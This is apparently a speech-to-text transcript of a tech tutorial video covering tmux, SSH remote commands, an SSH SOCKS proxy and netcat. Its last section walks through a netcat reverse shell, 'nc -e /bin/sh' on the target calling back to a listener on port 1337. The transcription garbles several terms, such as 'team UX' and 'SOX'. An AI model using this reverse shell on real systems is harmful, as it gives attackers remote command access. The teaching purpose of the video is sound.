We can create multiple sessions and name them. So team UX,

new dash S and name it Bob, here's Bob. We'll ping something here.

Detach from that for another session, Susie.

Now if I type in tux ls,

I've got two sessions and I can reattach to either of them, team ux,

a dash t to specify my target will say Susie jumping right back in there.

I can hit control B and then W to quickly jump between my various team Uck

sessions and I can leave, go to another computer,

jump back in here and connect to any one of these sessions.

If you want to learn more, I did a whole video on team UX right up here. SSH.

We use it all the time to remote into our systems. So for example,

this Ubuntu guy to jump into him,

I'll use SSH Ss H network Chuck at his IP address

already. Cool. But it can do more. Instead of logging in,

I can actually just run a command via SS H on another system with SSH network.

Chuck at my server. And then right after that specify the command I want to run.

So in single quotes I can say, who am I?

BAM or IP address.

Crazy powerful. Let's get crazier. You can actually make it a SOX proxy. What?

Watch this. Before I create the tunnel,

lemme demonstrate my location right now what's my IP address? I'm in Dallas,

Texas as you can see right here. But if I use this crazy SSH command,

I'll create a proxy and tunnel myself somewhere else. SSH dash D,

which is telling it to create a SOX proxy. And I'll say port 1, 3, 3, 7.

We'll do a dash C for compression dash Q for quiet mode and dash N to not

execute any commands. And finally our server information root at,

and this will be a server in Japan. Put our password in.

Now we're going to launch chromium using that proxy. Our SOX five,

the local host. Ready, set, go. Chromium's launched.

Now I'll see where we are already feel a bit different and giving them,

having a hard time figuring out where to go. I'm definitely in Osaka, Japan.

Super cool, right Netcat our go-to for reverse shells. To install netcat,

we'll do a PT install netcat dash traditional.

To verify,

just type in NC dash H and with Netcat installed on both your attacking computer

and your target computer. Let's do a reverse shell on the attacker.

All we got to do is wait,

wait for the shell type in NC dash LVP and the port.

You're waiting on 1 3, 3 7. We're waiting because on a reverse shell,

the target reaches out to us On the target side, we'll type in NC for netcat,

we'll do a dash e and specify the shell we want to have access to.

So we'll do slash ben slash sh specify our attacker ip,

which is us and the port 1, 3, 3, 7 that the attacker is listening on and they

one hit enter if something happened. It sure stinking did check it out.

I'm on the other computer. I've got a reverse shell.

They can also do a fun thing where you just set a simple chat server with net

cap. Why? I don't know. But you can do it. You should try it. It's fun.

On one side you type in NC dash LVP, set up port on the other side,

type in NC dash V,

the IP address of the other computer and the port.

So now I can say hey and I get hey, on the other side,

what are you thinking about the end of this video?

Me too. I'll catch you guys next time. For real though.